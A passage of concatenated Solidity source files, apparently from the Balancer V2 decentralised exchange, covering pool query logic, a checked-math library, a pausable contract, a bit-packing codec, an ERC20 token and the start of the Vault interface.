FixedPoint.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = FixedPoint.divUp(amounts[i], scalingFactors[i]); } } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory, uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, scalingFactors, userData ); _downscaleArray(tokenAmounts, scalingFactors); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array 's length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./IBasePool.sol"; /** * @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface. * * This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool. * Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant * to the pool in a 'given out' swap. * * This can often be implemented by a `view` function, since many pricing algorithms don't need to track state * changes in swaps. However, contracts implementing this in non-view functions should check that the caller is * indeed the Vault. */ interface IMinimalSwapInfoPool is IBasePool { function onSwap( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut ) external returns (uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Adapted from OpenZeppelin's SafeMath library */ library Math { /** * @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the addition of two signed integers, reverting on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; _require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW); return c; } /** * @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; _require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW); return c; } /** * @dev Returns the largest of two numbers of 256 bits. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers of 256 bits. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; _require(a == 0 || c / a == b, Errors.MUL_OVERFLOW); return c; } function div( uint256 a, uint256 b, bool roundUp ) internal pure returns (uint256) { return roundUp ? divUp(a, b) : divDown(a, b); } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); return a / b; } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { return 1 + (a - 1) / b; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "./BalancerErrors.sol"; import "./ITemporarilyPausable.sol"; /** * @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be * used as an emergency switch in case a security vulnerability or threat is identified. * * The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be * unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets * system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful * analysis later determines there was a false alarm. * * If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional * Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time * to react to an emergency, even if the threat is discovered shortly before the Pause Window expires. * * Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is * irreversible. */ abstract contract TemporarilyPausable is ITemporarilyPausable { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days; uint256 private immutable _pauseWindowEndTime; uint256 private immutable _bufferPeriodEndTime; bool private _paused; constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { _require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION); _require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION); uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration; _pauseWindowEndTime = pauseWindowEndTime; _bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration; } /** * @dev Reverts if the contract is paused. */ modifier whenNotPaused() { _ensureNotPaused(); _; } /** * @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer * Period. */ function getPausedState() external view override returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ) { paused = !_isNotPaused(); pauseWindowEndTime = _getPauseWindowEndTime(); bufferPeriodEndTime = _getBufferPeriodEndTime(); } /** * @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and * unpaused until the end of the Buffer Period. * * Once the Buffer Period expires, this function reverts unconditionally. */ function _setPaused(bool paused) internal { if (paused) { _require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED); } else { _require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED); } _paused = paused; emit PausedStateChanged(paused); } /** * @dev Reverts if the contract is paused. */ function _ensureNotPaused() internal view { _require(_isNotPaused(), Errors.PAUSED); } /** * @dev Returns true if the contract is unpaused. * * Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no * longer accessed. */ function _isNotPaused() internal view returns (bool) { // After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access. return block.timestamp > _getBufferPeriodEndTime() || !_paused; } // These getters lead to reduced bytecode size by inlining the immutable variables in a single place. function _getPauseWindowEndTime() private view returns (uint256) { return _pauseWindowEndTime; } function _getBufferPeriodEndTime() private view returns (uint256) { return _bufferPeriodEndTime; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; /** * @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in * a single storage slot, saving gas by performing less storage accesses. * * Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two * 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128. */ library WordCodec { // Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word, // or to insert a new one replacing the old. uint256 private constant _MASK_1 = 2**(1) - 1; uint256 private constant _MASK_10 = 2**(10) - 1; uint256 private constant _MASK_16 = 2**(16) - 1; uint256 private constant _MASK_22 = 2**(22) - 1; uint256 private constant _MASK_31 = 2**(31) - 1; uint256 private constant _MASK_32 = 2**(32) - 1; uint256 private constant _MASK_53 = 2**(53) - 1; uint256 private constant _MASK_64 = 2**(64) - 1; uint256 private constant _MASK_128 = 2**(128) - 1; uint256 private constant _MASK_192 = 2**(192) - 1; // Largest positive values that can be represented as N bits signed integers. int256 private constant _MAX_INT_22 = 2**(21) - 1; int256 private constant _MAX_INT_53 = 2**(52) - 1; // In-place insertion /** * @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new * word. */ function insertBool( bytes32 word, bool value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset)); return clearedWord | bytes32(uint256(value ? 1 : 0) << offset); } // Unsigned /** * @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 10 bits, otherwise it may overwrite sibling bytes. */ function insertUint10( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 16 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. * Returns the new word. * * Assumes `value` only uses its least significant 16 bits, otherwise it may overwrite sibling bytes. */ function insertUint16( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_16 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 31 bits. */ function insertUint31( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 32 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 32 bits, otherwise it may overwrite sibling bytes. */ function insertUint32( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_32 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 64 bits, otherwise it may overwrite sibling bytes. */ function insertUint64( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset)); return clearedWord | bytes32(value << offset); } // Signed /** * @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 22 bits. */ function insertInt22( bytes32 word, int256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset)); // Integer values need masking to remove the upper bits of negative values. return clearedWord | bytes32((uint256(value) & _MASK_22) << offset); } // Bytes /** * @dev Inserts 192 bit shifted by an offset into a 256 bit word, replacing the old value. Returns the new word. * * Assumes `value` can be represented using 192 bits. */ function insertBits192( bytes32 word, bytes32 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_192 << offset)); return clearedWord | bytes32((uint256(value) & _MASK_192) << offset); } // Encoding // Unsigned /** * @dev Encodes an unsigned integer shifted by an offset. This performs no size checks: it is up to the caller to * ensure that the values are bounded. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeUint(uint256 value, uint256 offset) internal pure returns (bytes32) { return bytes32(value << offset); } // Signed /** * @dev Encodes a 22 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_22) << offset); } /** * @dev Encodes a 53 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_53) << offset); } // Decoding /** * @dev Decodes and returns a boolean shifted by an offset from a 256 bit word. */ function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) { return (uint256(word >> offset) & _MASK_1) == 1; } // Unsigned /** * @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_10; } /** * @dev Decodes and returns a 16 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint16(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_16; } /** * @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_31; } /** * @dev Decodes and returns a 32 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint32(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_32; } /** * @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_64; } /** * @dev Decodes and returns a 128 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint128(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_128; } // Signed /** * @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_22); // In case the decoded value is greater than the max positive integer that can be represented with 22 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value; } /** * @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_53); // In case the decoded value is greater than the max positive integer that can be represented with 53 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS); _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol"; import "./IAsset.sol"; import "./IAuthorizer.sol"; import "./IFlashLoanRecipient.sol"; import "./IProtocolFeesCollector.sol"; pragma solidity ^0.7.0; /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // 